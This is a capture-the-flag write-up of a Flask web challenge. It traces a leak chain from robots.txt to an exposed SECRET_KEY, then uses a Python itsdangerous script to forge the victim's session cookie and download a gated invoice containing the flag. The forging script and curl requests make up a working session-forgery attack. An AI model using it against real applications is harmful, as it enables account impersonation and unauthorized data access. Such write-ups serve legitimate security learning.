Love is a secret key leaked Flask key, forged session

web
flag d4rk{k4ich0_l0v3s_Sh1n0miy4}

d4rk{k4ich0_l0v3s_Sh1n0miy4}

Summary

https://<target> is a Flask app (behind nginx) themed around the Kaguya-sama "Shuchiin festival" story. Two files leak everything needed:

  1. robots.txt disallows two hidden routes — /internal-notice and /maintenance.
  2. /internal-notice names the victim (kaicho) and their order (1337).
  3. /maintenance dumps the app config block, including the Flask SECRET_KEY = love_is_war (the "drink a flask of water" line is the hint).

With the victim's identity and the signing key in hand, the gated invoice endpoint (GET /love/invoice/1337) can be reached by forging a Flask session cookie for kaicho — itsdangerous URLSafeTimedSerializer, salt cookie-session, key love_is_war. The invoice PDF's "CONFIDENTIAL ORDER REFERENCE" field holds the flag.

Solution / Exploit

1. Recon — robots.txt leaks the hidden routes

bash
1$ curl -s https://<target>
2User-agent: *
3Disallow: /internal-notice
4Disallow: /maintenance

2. /internal-notice — the victim and the order

/love/internal-notice leaks the victim identity and the order id:

  • Account username: kaicho
  • Related order: 1337

3. /maintenance — the Flask signing key

/love/maintenance leaks the config block. The "Too tired? Here, drink a flask of water" line is the Flask hint:

output
APP_ENV = festival
SECRET_KEY = love_is_war
MAINTENANCE_STATUS = nominal
Last_Check = successful

4. /track — the gated invoice endpoint

POST /love/track with username=kaicho&order_id=1337 returns the order and reveals the invoice endpoint plus the victim's numeric user_id (66066):

output
GET /love/invoice/1337      (user_id 66066 for kaicho)

Requesting it anonymously redirects (302) back to /track with a flash:

output
Authentication Required. Please login as the respective user before downloading this invoice.

5. Learn the session schema from a throwaway account

Register and log in a fresh account, then decode its Flask session cookie to see the exact structure the app expects:

json
1{"_flashes":[...],"user_id":66940,"username":"tester4013"}

So a valid session is just {"user_id": <int>, "username": <str>}.

Using the leaked key, forge a session for kaicho with itsdangerous. This is love_forge.py:

python
1from itsdangerous import URLSafeTimedSerializer, TimestampSigner
2import json, sys
3key=b"love_is_war"
4s=URLSafeTimedSerializer(key, salt="cookie-session", signer_kwargs={"key_derivation":"hmac","digest_method":"sha1"})
5payload={"user_id":66066,"username":"kaicho"}
6print(s.dumps(payload))

Output is the forged love_session value (recorded in love_forged_token.txt).

bash
1$ curl -s -i -b "love_session=<forged kaicho cookie>" \
2    https://<target>
3HTTP/1.1 200 OK
4Content-Type: application/pdf
5Content-Length: 2273
6Content-Disposition: attachment; filename="shuchiin-invoice-1337.pdf"

The response is application/pdf and saves as love_invoice_1337.pdf.

8. Read the invoice

bash
1$ pdftotext love_invoice_1337.pdf -
2SHUCHIIN FESTIVAL SUPPLIES
3INVOICE #1337
4Buyer:        president_miyuki
5Username:     kaicho
6Order Status: Dispatched
7Product:      Crimson Heart Mylar Balloons
8Quantity:     100
9Tracking ID:  woah_a_rezero_mystery
10BUYER'S NOTE: Deliver discreetly behind the gym before the festival bonfire. Do NOT let Shinomiya see this.
11CONFIDENTIAL ORDER REFERENCE
12d4rk{k4ich0_l0v3s_Sh1n0miy4}

The "CONFIDENTIAL ORDER REFERENCE" field contains the flag.

Flag(s)

output
d4rk{k4ich0_l0v3s_Sh1n0miy4}

Notes / Pitfalls

  • The whole challenge is the leak chain. No crypto is broken: Flask's default session cookie is only signed, not encrypted, so a known SECRET_KEY is total forgery. /maintenance handing over SECRET_KEY is the intended break.
  • You need the victim's user_id, not just the username. The session schema uses the numeric user_id (66066 for kaicho), which /track supplies; a cookie with only username will not pass the invoice gate.
  • Match the serializer exactly. salt="cookie-session", key_derivation="hmac", digest_method="sha1" — Flask's session interface defaults. Get these wrong and the cookie fails signature verification and silently redirects to /track.
  • The invoice is only served to the matching user. Anonymous requests get the 302 + flash message, so a 200 with Content-Disposition: attachment is proof the forged session was accepted.